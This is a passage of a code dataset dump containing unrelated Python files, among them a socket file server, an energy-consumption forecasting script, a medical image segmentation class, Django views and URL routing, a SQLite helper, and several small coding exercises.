True\n\t\t\n\t\t# ||=======================||\n\t\t# Program Classes\n\t\tself.networkServer = NetworkServer()\n\t\tself.flaskServer = FlaskServer()\n\n\t\tself.debugLogger = DebugLogger(self.type)\n\t\tconfigLoader = ConfigLoader(self.type, self.debugLogger)\n\t\tself.config = configLoader.getConfig()\n\n\t\tself.debugLogger.setMessageSettings(\n\t\t\tast.literal_eval(self.config[\"Debug\"]),\n\t\t\tast.literal_eval(self.config[\"Standard\"]),\n\t\t\tast.literal_eval(self.config[\"Warning\"]),\n\t\t\tast.literal_eval(self.config[\"Error\"]))\n\n\t\tself.debugLogger.setLogSettings(\n\t\t\tast.literal_eval(self.config[\"DebugLog\"]),\n\t\t\tast.literal_eval(self.config[\"StandardLog\"]),\n\t\t\tast.literal_eval(self.config[\"WarningLog\"]),\n\t\t\tast.literal_eval(self.config[\"ErrorLog\"]))\n\n\t\t# ||=======================||\n\t\t# Config \n\t\tself.debug = self.config[\"Debug\"]\n\t\tself.log = self.config[\"Log\"]\n\n# ||=======================================================================||\n\n\tdef main(self):\n\t\tlogMessage = \"Process Started\"\n\t\tself.debugLogger.log(\"Standard\", self.type, logMessage)\n\t\t\n\t\t# ||=======================||\n\t\t# Program Setup\n\t\tif (self.useNetworkServer):\n\t\t\ttry:\n\t\t\t\tself.networkServer.bindConnection()\n\n\t\t\t\tself.networkServerThread = Thread(target = self.networkServer.networkServer)\n\t\t\t\tself.networkServerThread.setDaemon(True)\n\t\t\t\tself.networkServerThread.start()\n\n\t\t\texcept Exception as e:\n\t\t\t\tlogMessage = \"Main (useNetworkServer): \" + str(e)\n\t\t\t\tself.debugLogger.log(\"Standard\", self.type, logMessage)\n\n\t\tif (self.useFlaskServer):\n\t\t\ttry: \n\t\t\t\tself.flaskServerThread = Thread(target = self.flaskServer.flaskServer)\n\t\t\t\tself.flaskServerThread.setDaemon(True)\n\t\t\t\tself.flaskServerThread.start()\n\n\t\t\texcept Exception as e:\n\t\t\t\tlogMessage = \"Main (useNetworkServer): \" + str(e)\n\t\t\t\tself.debugLogger.log(\"Standard\", self.type, logMessage)\n\t\t\t\n\t\ttry:\n\t\t\twhile True:\n\t\t\t\tsleep(1)\n\t\texcept KeyboardInterrupt as e:\n\t\t\tprint(end='\\r')\n\t\t\tself.networkServer.closeServer()\n\t\t\tlogMessage = \"Process Joined\"\n\t\t\tself.debugLogger.log(\"Standard\", self.type, logMessage)\n\t\t\treturn\n\n# ||=======================================================================||\n\ndef main():\n\trs = RoboticsServer()\n\trs.main()\n\nif __name__ == '__main__':\n\tmain()\n\n# ||=======================================================================||","sub_path":"Source/RoboticsServer.py","file_name":"RoboticsServer.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207343896","text":"class Solution(object):\n def twoSum(self, numbers, target):\n \"\"\"\n :type numbers: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n dict = {}\n k=0\n for i in numbers:\n x=i\n if target-x in dict:\n return (dict[target-x]+1,k+1)\n dict[x]=k\n k += 1\n\nif __name__ == \"__main__\":\n print (Solution().twoSum([2,7,11,15],18))","sub_path":"array/twoSum2.py","file_name":"twoSum2.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14065830","text":"import os\nimport sys\nimport traceback\nfrom socket import *\nfrom threading import Thread\nimport requests\n\nip = '127.0.0.1'\nport = int(sys.argv[1])\nserver_sock = socket(AF_INET, SOCK_STREAM)\nserver_sock.bind((ip,port))\nprint('Server socket open...')\nprint('Listening...')\nserver_sock.listen(1)\n\ndef main(clnt_sock):\n data = clnt_sock.recv(1500) #헤더(GET)를 포함한 데이터 받음\n parse_data = (data.decode()).split(' ')\n #print(parse_data)\n file_name = parse_data[1] #파일이름 파싱\n if parse_data[0] == 'GET': #GET일 경우 과정 수행\n if os.path.isfile('.'+file_name): #파일이 있을 경우\n f = open('.'+file_name, 'rb') #해당 파일을 연다\n f_read = f.read(1024) #파일을 1024바이트 크기만큼 읽은 후\n content_length = str(os.path.getsize('.'+file_name)).encode() + '\\n\\n'.encode()\n #헤더에 붙여서 보낼 파일 사이즈를 구한다\n clnt_sock.send('HTTP/1.1 200 OK\\n'.encode() + content_length + f_read)\n #헤더는 HTTP메시지, 파일크기, 1024데이터로 구성된다.\n\n while True: #이후 파일을 1024바이트씩 더이상 읽을 데이터가\n f_read = f.read(1024)#없을때까지 보낸다.\n if not f_read:\n break\n clnt_sock.send(f_read)\n f.close()\n clnt_sock.close()\n\n if 'mp3' in file_name: #파일이름에 mp3가 있을 경우 \n if os.path.isfile(file_name): # .을 뺀 파일명을 조사한다\n f = open(file_name, 'rb')\n f_read = f.read(1024)\n content_length = str(os.path.getsize(file_name)).encode() + '\\n\\n'.encode()\n clnt_sock.send('HTTP/1.1 200 OK\\n'.encode() + content_length + f_read)\n \n while True:\n f_read = f.read(1024)\n if not f_read:\n break\n clnt_sock.send(f_read)\n f.close()\n clnt_sock.close()\n\nwhile True:\n clnt_sock, addr = server_sock.accept()\n try:\n Thread(target=main, args=(clnt_sock,)).start()\n except:\n print(\"Thread did not start.\")\n traceback.print_exc()\n\nprint(\"Send Message back to client\")\n","sub_path":"2018/Computer Network/CN_201402448_한진영_10/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"321011702","text":"import pandas as pd\nimport numpy as np\nfrom pandas import datetime\nfrom matplotlib import pyplot as plt\nimport os\nfrom matplotlib import pyplot\n\nfrom statsmodels.tsa.arima_model import ARIMA\nfrom matplotlib import pyplot\nfrom pandas.plotting import autocorrelation_plot\nimport matplotlib.patches as mpatches\n#from pyramid.arima import auto_arima\n#from pmdarima.arima import auto_arima\nimport pyflux as pf\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import MinMaxScaler\nfrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf\nimport statsmodels.api as sm\nfrom statsmodels.tsa.statespace.sarimax import SARIMAX\nimport math\nfrom sklearn.metrics import mean_squared_error\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\n\nenergy = pd.read_csv('MAC000046_With_Acorn.csv')\nar = energy['day'].tolist()\nenergy = energy.reset_index()\nenergy.day = pd.to_datetime(energy.day,format='%Y-%m-%d').dt.date\n\nenergy2 = pd.read_csv('MAC000216_With_Acorn.csv')\nenergy2 = energy2.loc[energy2['day'].isin(ar)]\nenergy2 = energy2.reset_index()\nenergy2.day = pd.to_datetime(energy2.day,format='%Y-%m-%d').dt.date\n\nenergy3 = pd.read_csv('MAC000213_With_Acorn.csv')\nenergy3 = energy3.loc[energy3['day'].isin(ar)]\nenergy3 = energy3.reset_index()\nenergy3.day = pd.to_datetime(energy3.day,format='%Y-%m-%d').dt.date\n\nweather = pd.read_csv('C:/Users/A02290684/Desktop/clean energy/Project/data/weather_daily_darksky.csv')\n\nweather['day']= pd.to_datetime(weather['time']) # day is given as timestamp\nweather['day']= pd.to_datetime(weather['day'],format='%Y%m%d').dt.date\n# selecting numeric variables\nweather = weather[['temperatureMax', 'windBearing', 'dewPoint', 'cloudCover', 'windSpeed',\n 'pressure', 'apparentTemperatureHigh', 'visibility', 'humidity',\n 'apparentTemperatureLow', 'apparentTemperatureMax', 'uvIndex',\n 'temperatureLow', 'temperatureMin', 'temperatureHigh',\n 'apparentTemperatureMin', 'moonPhase','day']]\nweather = weather.dropna()\n\nweather_energy = energy.merge(weather,on='day')\nweather_energy2 = energy2.merge(weather,on='day')\nweather_energy3 = energy3.merge(weather,on='day')\n\n'''clustering 1'''\nscaler = MinMaxScaler()\nweather_scaled = scaler.fit_transform(weather_energy[['temperatureMax','humidity','windSpeed']])\n\nNc = range(1, 20)\nkmeans = [KMeans(n_clusters=i) for i in Nc]\nkmeans\n\nscore = [kmeans[i].fit(weather_scaled).score(weather_scaled) for i in range(len(kmeans))]\n\nkmeans = KMeans(n_clusters=3, max_iter=600, algorithm = 'auto')\nkmeans.fit(weather_scaled)\nweather_energy['weather_cluster'] = kmeans.labels_\n\n'''clustering 2'''\nscaler = MinMaxScaler()\nweather_scaled2 = scaler.fit_transform(weather_energy2[['temperatureMax','humidity','windSpeed']])\n\nNc = range(1, 20)\nkmeans = [KMeans(n_clusters=i) for i in Nc]\nkmeans\n\nscore = [kmeans[i].fit(weather_scaled2).score(weather_scaled2) for i in range(len(kmeans))]\n\nkmeans = KMeans(n_clusters=3, max_iter=600, algorithm = 'auto')\nkmeans.fit(weather_scaled2)\nweather_energy2['weather_cluster'] = kmeans.labels_\n\n'''clustering 2'''\nscaler = MinMaxScaler()\nweather_scaled3 = scaler.fit_transform(weather_energy3[['temperatureMax','humidity','windSpeed']])\n\nNc = range(1, 20)\nkmeans = [KMeans(n_clusters=i) for i in Nc]\nkmeans\n\nscore = [kmeans[i].fit(weather_scaled3).score(weather_scaled3) for i in range(len(kmeans))]\n\nkmeans = KMeans(n_clusters=3, max_iter=600, algorithm = 'auto')\nkmeans.fit(weather_scaled3)\nweather_energy3['weather_cluster'] = kmeans.labels_\n\n'''adding holidays'''\nholiday = pd.read_csv('C:/Users/A02290684/Desktop/clean energy/Project/data/uk_bank_holidays.csv')\nholiday['Bank holidays'] = pd.to_datetime(holiday['Bank holidays'],format='%Y-%m-%d').dt.date\n\nweather_energy = weather_energy.merge(holiday, left_on = 'day',right_on = 'Bank holidays',how = 'left')\nweather_energy['holiday_ind'] = np.where(weather_energy['Bank holidays'].isna(),0,1)\n\n'''adding holidays 2'''\nholiday = pd.read_csv('C:/Users/A02290684/Desktop/clean energy/Project/data/uk_bank_holidays.csv')\nholiday['Bank holidays'] = pd.to_datetime(holiday['Bank holidays'],format='%Y-%m-%d').dt.date\n\nweather_energy2 = weather_energy2.merge(holiday, left_on = 'day',right_on = 'Bank holidays',how = 'left')\nweather_energy2['holiday_ind'] = np.where(weather_energy2['Bank holidays'].isna(),0,1)\n\n'''adding holidays 3'''\nholiday = pd.read_csv('C:/Users/A02290684/Desktop/clean energy/Project/data/uk_bank_holidays.csv')\nholiday['Bank holidays'] = pd.to_datetime(holiday['Bank holidays'],format='%Y-%m-%d').dt.date\n\nweather_energy3 = weather_energy3.merge(holiday, left_on = 'day',right_on = 'Bank holidays',how = 'left')\nweather_energy3['holiday_ind'] = np.where(weather_energy3['Bank holidays'].isna(),0,1)\n\n'''Training'''\nweather_energy['Year'] = pd.DatetimeIndex(weather_energy['day']).year\nweather_energy['Month'] = pd.DatetimeIndex(weather_energy['day']).month\nweather_energy.set_index(['day'],inplace=True)\n\n'''Training2'''\nweather_energy2['Year'] = pd.DatetimeIndex(weather_energy2['day']).year\nweather_energy2['Month'] = pd.DatetimeIndex(weather_energy2['day']).month\nweather_energy2.set_index(['day'],inplace=True)\n\n'''Training3'''\nweather_energy3['Year'] = pd.DatetimeIndex(weather_energy3['day']).year\nweather_energy3['Month'] = pd.DatetimeIndex(weather_energy3['day']).month\nweather_energy3.set_index(['day'],inplace=True)\n\n'''splitting'''\nmodel_data = weather_energy[['energy_sum','weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value4']]\ntrain = model_data.iloc[0:(len(model_data)-30)]\ntest = model_data.iloc[len(train):(len(model_data)-1)]\n\n\n'''splitting2'''\nmodel_data2 = weather_energy2[['energy_sum','weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value4']]\ntrain2 = model_data2.iloc[0:(len(model_data2)-30)]\ntest2 = model_data2.iloc[len(train2):(len(model_data2)-1)]\n\n'''splitting3'''\nmodel_data3 = weather_energy3[['energy_sum','weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value4']]\ntrain3 = model_data3.iloc[0:(len(model_data3)-30)]\ntest3 = model_data3.iloc[len(train3):(len(model_data3)-1)]\n\nresult = [train,train2,train3]\ntrain = pd.concat(result)\nresult2 = [test,test2,test3]\ntest = pd.concat(result2)\n#print(train.head(10))\n\n'''test'''\nt = sm.tsa.adfuller(train.energy_sum, autolag='AIC')\n#pd.Series(t[0:4], index=['Test Statistic','p-value','#Lags Used','Number of Observations Used'])\ndef difference(dataset, interval):\n diff = list()\n for i in range(interval, len(dataset)):\n value = dataset.iloc[i] - dataset.iloc[i - interval]\n diff.append(value)\n return diff\n\nt = sm.tsa.adfuller(difference(train.energy_sum,1), autolag='AIC')\n#pd.Series(t[0:4], index=['Test Statistic','p-value','#Lags Used','Number of Observations Used'])\n\nendog = train['energy_sum']\nexog = sm.add_constant(train[['weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value4']])\n\nmod = sm.tsa.statespace.SARIMAX(endog=endog, exog=exog, order=(7,1,1),seasonal_order=(1,1, 0, 12),trend='c')\nmodel_fit = mod.fit()\nmodel_fit.summary()\n\n#train['avg_energy'].plot(figsize=(25,10))\n#model_fit.fittedvalues.plot()\n#plt.show()\n\n'''Test Prediction'''\n# predict = model_fit.predict(start = len(train),end = len(train)+len(test)-1,exog = sm.add_constant(test[['weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value3']]))\n# test['predicted'] = predict.values\n#\n# test = test.head(15)\n# test['energy_sum'].plot(figsize=(25,10),color = 'red')\n# test['predicted'].plot()\n# red_patch = mpatches.Patch(color='blue', label='Average Energy')\n# blue_patch = mpatches.Patch(color='red', label='Predicted Energy')\n# plt.legend(handles=[red_patch,blue_patch])\n# plt.ylabel(\"Energy Consumption\")\n# plt.xlabel(\"Day\")\n# plt.show()\n\n'''Train Prediction'''\n# predict = model_fit.predict(start = 0,end = len(train)-1,exog = sm.add_constant(train[['weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value3']]))\n# train['predicted'] = predict.values\n# print(train.tail(8))\n# #train.to_csv(\"Acorn_merged_Prediction_Train.csv\")\n# train['energy_sum'].plot(figsize=(25,10),color = 'red')\n# train['predicted'].plot()\n# red_patch = mpatches.Patch(color='blue', label='Average Energy')\n# blue_patch = mpatches.Patch(color='red', label='Predicted Energy')\n# plt.legend(handles=[red_patch,blue_patch])\n# plt.ylabel(\"Energy Consumption\")\n# plt.xlabel(\"Day\")\n# plt.show()\n\n#\n'''Scatter Plot Actual Vs Predicted'''\n\npredict = model_fit.predict(start = 0,end = len(train)-1,exog = sm.add_constant(train[['weather_cluster','holiday_ind','Acorn_value1','Acorn_value2','Acorn_value3','Acorn_value4']]))\ntrain['predicted'] = predict.values\n\nans1 = train.loc[train['Acorn_value4']==76]\nans2 = train.loc[train['Acorn_value4']==50]\nans3 = train.loc[train['Acorn_value4']==114]\n\nplt.scatter(ans1['energy_sum'],ans1['predicted'],s=5,color='blue',)\nplt.scatter(ans2['energy_sum'],ans2['predicted'],s=5,color='green',)\nplt.scatter(ans3['energy_sum'],ans3['predicted'],s=5,color='orange',)\ngreen_patch = mpatches.Patch(color='green', label='House216')\nblue_patch = mpatches.Patch(color='blue', label='House046')\norange_patch = mpatches.Patch(color='orange', label='House213')\nplt.ylim(ymax=60)\nplt.ylim(ymin=0)\nplt.yticks(np.arange(0,70,10))\nplt.legend(handles=[green_patch,blue_patch,orange_patch])\nplt.ylabel(\"Predicted values\")\nplt.xlabel(\"Actual values\")\nplt.title(\"Actual Values Vs Predicted Values For houses of different Acorns\")\nplt.show()\n\n\n","sub_path":"Acorn_Merger_Prediction_3_Houses.py","file_name":"Acorn_Merger_Prediction_3_Houses.py","file_ext":"py","file_size_in_byte":9660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"252554703","text":"import numpy as np\nfrom os.path import isfile\nimport csv\n\nwith open('labels') as f:\n reader = csv.reader(f, delimiter='\\n')\n labels = np.array([each for each in reader if len(each) > 0]).squeeze()\n labels = labels[:-1] #last image was not processed so dropping the corresponding label\n labels = labels.reshape(len(labels),1)\nprint(len(labels))\n\nprint(isfile(\"codes\"))\nif isfile(\"codes\"):\n print(\"codes already exist, loading them now...\")\n with open(\"codes\") as f:\n codes = np.fromfile(f, dtype=np.float32)\n codes = codes.reshape((len(labels), -1))\nprint(len(codes))\n","sub_path":"dog_app/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"49492461","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport time\n\n\nimport glob\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.models import model_from_json\nfrom keras.callbacks import Callback\nfrom .util import inception_preprocess, preprocess, recompone_overlap\nfrom .model import BilinearUpsampling\nfrom .config import process_config\nfrom .trainer import DataGenerator\nfrom keras import backend as K\nfrom PIL import Image\nimport random\nimport tensorflow as tf\n\n\nclass Inference():\n def __init__(self):\n self.config = process_config('./algorithms/surface/configs.json')\n \n import tensorflow as tf\n from keras.backend.tensorflow_backend import set_session\n\n tfconfig = tf.ConfigProto()\n tfconfig.gpu_options.allocator_type = 'BFC'\n tfconfig.gpu_options.per_process_gpu_memory_fraction = 0.3\n tfconfig.gpu_options.allow_growth = True\n set_session(tf.Session(config=tfconfig))\n\n self.graph = tf.get_default_graph()\n\n self.load_model()\n\n def analyze_name(self,path):\n name = os.path.split(path)[1]\n name = os.path.splitext(name)[0]\n return name\n\n def load_model(self):\n start = time.time()\n self.load_cornea_model()\n print('Loading cornea segmentation model with {}s'.format(time.time()-start))\n start = time.time()\n self.load_ulcer_model()\n print('Loading ulcer segmentation model with {}s'.format(time.time()-start))\n\n def load_cornea_model(self):\n self.cornea_model = model_from_json(open('./algorithms/surface/model/cornea/architecture.json').read(), custom_objects={'BilinearUpsampling': BilinearUpsampling})\n self.cornea_model.load_weights('./algorithms/surface/model/cornea/best_weights.h5', by_name=True)\n\n def load_ulcer_model(self):\n self.ulcer_model = model_from_json(open('./algorithms/surface/model/ulcer/architecture.json').read(), custom_objects={'BilinearUpsampling': BilinearUpsampling})\n self.ulcer_model.load_weights('./algorithms/surface/model/ulcer/best_weights.h5', by_name=True)\n\n def predict(self, input_path, output_path,):\n\n with self.graph.as_default():\n start = time.time()\n # BGR -> RGB\n self.raw = cv2.imread(input_path)\n self.raw = self.raw[:,:,::-1]\n self.cornea = self.predict_cornea()\n self.ulcer = self.predict_ulcer()\n masked = self.mask()\n id = self.analyze_name(input_path) + '.png'\n output_path = os.path.join(output_path, id)\n cv2.imwrite(output_path, masked.astype(np.uint8))\n print('Process {} with {}s'.format(id, time.time()-start))\n\n return output_path\n\n def predict_cornea(self):\n # resize\n if self.raw.shape[0] != self.config.cornea_height:\n raw = cv2.resize(self.raw, (self.config.cornea_width, self.config.cornea_height), interpolation=cv2.INTER_AREA)\n # preprocess\n input = np.expand_dims(raw, axis=0)\n input = inception_preprocess(input)\n # predict\n predictions = self.cornea_model.predict(input, batch_size=1, verbose=1)\n # binarized\n probResult = np.reshape(predictions[:,:,0], (self.config.cornea_height, self.config.cornea_width, 1))\n binaryResult = ((probResult>=0.5)).astype(np.uint8)*255\n binaryResult = cv2.resize(binaryResult, (self.config.ulcer_width, self.config.ulcer_height), interpolation=cv2.INTER_AREA)\n # ellipse fitting\n ret, thresh = cv2.threshold(binaryResult, 127, 255, 0)\n _, contours, hierarchy = cv2.findContours(thresh, 1, 2)\n _ellipse = cv2.fitEllipse(contours[0])\n ellipse = np.zeros((self.config.ulcer_height, self.config.ulcer_width, 1), dtype=np.uint8)\n cv2.ellipse(ellipse, _ellipse, 255, -1)\n\n return ellipse\n\n def predict_ulcer(self):\n # resize\n if self.raw.shape[0] != self.config.ulcer_height:\n raw = cv2.resize(self.raw, (self.config.ulcer_width, self.config.ulcer_height), interpolation=cv2.INTER_AREA)\n # FOV\n cornea = np.broadcast_to(self.cornea, (self.config.ulcer_height, self.config.ulcer_width, 3))\n raw[cornea==0] = 0\n # crop\n raw = np.reshape(raw, (1, self.config.ulcer_height, self.config.ulcer_width, 3))\n datagen = DataGenerator(config=self.config, test_data=raw)\n test_img_patches, new_height, new_width = datagen._test_data()\n # predict\n predictions = self.ulcer_model.predict(test_img_patches, batch_size=self.config.batch_size, verbose=1)\n # splice\n pred_imgs = recompone_overlap(predictions, self.config, new_height, new_width)\n pred_imgs = pred_imgs[:,0:self.config.ulcer_height,0:self.config.ulcer_width,:]\n\n probResult=1-pred_imgs[0,:,:,0]\n binaryResult = ((probResult>=0.5)).astype(np.uint8)*255\n binaryResult = np.reshape(binaryResult, (self.config.ulcer_height, self.config.ulcer_width, 1))\n\n return binaryResult\n\n def mask(self): \n # resize\n origin = self.raw[:,:,::-1]\n origin = cv2.resize(origin, (self.config.ulcer_width, self.config.ulcer_height), interpolation=cv2.INTER_AREA)\n # draw a mask for a cornea\n ret, thresh = cv2.threshold(self.cornea, 127, 255, 0)\n image, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n img = cv2.drawContours(origin, contours, -1, (0,0,255), 3)\n # draw a mask for ulcer\n ret, thresh = cv2.threshold(self.ulcer, 127, 255, 0)\n image, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n res = cv2.drawContours(img, contours, -1, (255,0,0), 3)\n \n return res\n'''\ndef test():\n infer = Inference()\n input_path = './input/9.jpg'\n output_path = './output'\n path = infer.predict(input_path, output_path)\n\n print(path)\n\nif __name__ == '__main__':\n test()\n'''\n","sub_path":"algorithm/surface/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":5988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"649762475","text":"# You're given an integer N. Write a program to check whether the integer is EVEN or ODD.\n\n# number of test cases\nt = int(input())\n\nfor _ in range(t):\n\t# input the number\n\tn = int(input())\n\n\t# check whether even or odd\n\tif (n%2 == 0):\n\t\tprint(\"Even\")\n\telse:\n\t\tprint(\"Odd\")","sub_path":"Python/Check Even or Odd.py","file_name":"Check Even or Odd.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"556862992","text":"\"\"\"PCX URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path,include\n\nfrom homepage import views as homeviews\nfrom user import views as userviews\nfrom checkout import views as chkviews\nfrom wishlist import views as w_views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',include('homepage.urls')),\n path('user/',include('user.urls')),\n path('checkout/',include('checkout.urls')),\n path('product/',include('product.urls')),\n path('product/',homeviews.product_view,name='product_full'),\n path('user/accounts/',include('allauth.urls')),\n path('login/',userviews.login_form,name='login'),\n path('signup/',userviews.signup_form,name='signup'),\n path('logout/',userviews.log_out,name='logout'),\n path('cart/',chkviews.cart, name='show_cart'),\n path('w_list/',w_views.view_wishlist, name='show_wishlist'),\n path('restapi/product/', include('product.restapi.urls','products_api')),\n path('search/',homeviews.product_search,name='search'),\n]","sub_path":"PCX/PCX/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"202630847","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic import DetailView, ListView\nfrom django.views.generic.edit import UpdateView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.urls import reverse\nfrom django.forms.models import model_to_dict\n\nfrom users.models import CustomUser\nfrom posts.models import Post\nfrom users.forms import ProfileForm\n\n\nclass UsersList(ListView):\n \"\"\"Display all users list.\"\"\"\n\n model = CustomUser\n paginate_by = 10\n template_name = 'users/users.html'\n\n def get_queryset(self):\n return CustomUser.objects.exclude(pk=self.request.user.id)\n\n\nclass UserDisplay(DetailView):\n \"\"\"Display user page with his posts.\"\"\"\n\n model = CustomUser\n template_name = 'users/user.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n user_id = self.object.pk\n me = self.request.user\n posts = Post.objects.filter(author=CustomUser.objects.get(pk=user_id))\n context['posts'] = posts\n context['user'] = get_object_or_404(CustomUser, id=user_id)\n context['is_friend'] = me.is_authenticated and me.friends.filter(pk=user_id).exists()\n context['my_id'] = me.id\n return context\n\n\nclass UserAddToFriends(LoginRequiredMixin, UpdateView):\n \"\"\"Adds user to friends.\"\"\"\n\n model = CustomUser\n fields = []\n\n def form_valid(self, form):\n user = self.object\n me = get_object_or_404(CustomUser, id=self.request.user.id)\n me.friends.add(user)\n return redirect('user', pk=user.pk)\n\n\nclass UserRemoveFromFriends(LoginRequiredMixin, UpdateView):\n \"\"\"Remove user from friends.\"\"\"\n\n model = CustomUser\n fields = []\n\n def form_valid(self, form):\n user = self.object\n me = get_object_or_404(CustomUser, id=self.request.user.id)\n me.friends.remove(user)\n return redirect('user', pk=user.pk)\n\n\nclass UserUpdate(LoginRequiredMixin, UpdateView):\n \"\"\"Updates user profile.\"\"\"\n\n model = CustomUser\n form = ProfileForm\n fields = ['name', 'description', 'image']\n template_name = 'users/profile.html'\n\n def get(self, request, *args, **kwargs):\n user = get_object_or_404(CustomUser, id=request.user.id)\n form = self.form(initial=model_to_dict(user))\n return render(request, self.template_name, {'form': form})\n\n def post(self, request, *args, **kwargs):\n form = self.form(request.POST, request.FILES, instance=request.user)\n if form.is_valid():\n form.save()\n return render(request, self.template_name, {'form': form})\n return render(\n request, self.template_name, {'form': form, 'pk': request.user.pk},\n )\n","sub_path":"transcendence/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"113940750","text":"import sqlite3\n\n\nclass DatabaseManager:\n def __init__(self, path):\n self.connection = sqlite3.connect(path)\n cursor = self.connection.cursor()\n cursor.execute(\"CREATE TABLE IF NOT EXISTS unfollowed (id INTEGER)\")\n cursor.execute(\"CREATE TABLE IF NOT EXISTS unremoved (id INTEGER)\")\n cursor.execute(\"CREATE TABLE IF NOT EXISTS removed (id INTEGER PRIMARY KEY, json TEXT)\")\n cursor.execute(\"CREATE TABLE IF NOT EXISTS friends (id INTEGER PRIMARY KEY, json TEXT)\")\n self.connection.commit()\n\n def update_queue(self, table, ids):\n cursor = self.connection.cursor()\n cursor.execute(\"DELETE FROM {table};\".format(table=table))\n cursor.executemany(\"INSERT INTO {table} (id) VALUES (?);\".format(table=table), [(user_id,) for user_id in ids])\n self.connection.commit()\n\n def get_queue(self, table):\n cursor = self.connection.cursor()\n rows = cursor.execute(\"SELECT id FROM {table}\".format(table=table))\n return [row[0] for row in rows]\n\n def close(self):\n self.connection.close()\n\n\nif __name__ == '__main__':\n db = DatabaseManager(\"test.db\")\n db.update_queue(\"unfollowed\", [10000000090, 10000000091])\n print(db.get_queue(\"unfollowed\"))\n db.close()\n","sub_path":"DatabaseManager.py","file_name":"DatabaseManager.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"379731643","text":"cars=['Ferrari', 'Fiat Panda', 'Fiat Panda 4*4', 'Skoda Felicia Fun']\n\n\n\nmax_size_list=len(cars)\ncounter=-1\nnumber=-1\n\n\nwhile counter right[j]:\n temp.append(right[j])\n j += 1\n elif left[i] == right[j]:\n temp.append(left[i])\n temp.append(right[j])\n i+=1\n j+=1\n else:\n temp.append(left[i])\n i+=1\n\n while (imaximum:\n# maximum = n\n# if n not in dict1:\n# dict1[n] = [i]\n# else:\n# dict1[n].append(i)\n# if len(dict1[maximum])<2:\n# print(dict1[maximum][0])\n# else:\n# print(merge_sort(dict1[maximum])[1])\n\ndef mode(stats):\n from collections import Counter\n a = Counter(stats)\n a = sorted(a.most_common(), key = lambda x:(-x[1], x[0]))\n if len(a)>=2:\n print(a[1][0] if a[0][1] == a[1][1] else a[0][0])\n else:\n print(a[0][0])\n\nimport sys\nnum = [int(sys.stdin.readline()) for i in range(int(sys.stdin.readline().strip()))]\nsort_stat = merge_sort(num)\nprint(round((sum(sort_stat))/(len(sort_stat))))\nprint(sort_stat[len(sort_stat)//2])\nmode(sort_stat)\nif len(sort_stat) == 1:\n print(0)\nelse:\n print(sort_stat[-1] - sort_stat[0])\n\n\n\n\n","sub_path":"정렬/통계학/statistics_이정엽 복사본.py","file_name":"statistics_이정엽 복사본.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"496970870","text":"from bs4 import BeautifulSoup\nimport requests\nfrom tkinter import *\nfrom tkinter import filedialog\nimport lxml\nimport os\n\nbase = Tk()\nbase.geometry('150x40')\n\n\n#Before running get the following libraries:\n# requests\n# lxml\n# os\n# BeautifulSoup\n\n# Also before running, make sure you go to pycharm console and type the following command:\n# pip install future\n# This will let you use the tkinter library\n\n\n#Given a degree audit file in html and the set of Classes you want, you will get a set returned which will include all the classes you want\n#If you want classes preivously taken: use time = \"TAKEN\"\n#If you 